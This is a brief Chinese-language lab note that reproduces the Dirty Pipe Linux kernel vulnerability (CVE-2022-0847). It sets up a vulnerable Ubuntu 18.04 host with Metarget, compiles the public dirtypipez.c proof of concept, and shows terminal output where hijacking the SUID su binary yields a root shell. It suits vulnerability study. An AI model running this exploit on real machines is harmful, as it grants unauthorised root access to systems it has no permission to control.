请参考Max Kellermann的文章,下文的PoC出自dirtypipez.c。
宿主机环境:
- Ubuntu 18.04
首先切换内核,直接通过Metarget安装环境
./metarget cnv install cve-2022-0847 --verbose
gcc -o poc poc.c
编译好poc.c,执行即可。例如:
ubuntu@test:~$ ls
poc poc.c
ubuntu@test:~$ ./poc `which su`
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# whoami
root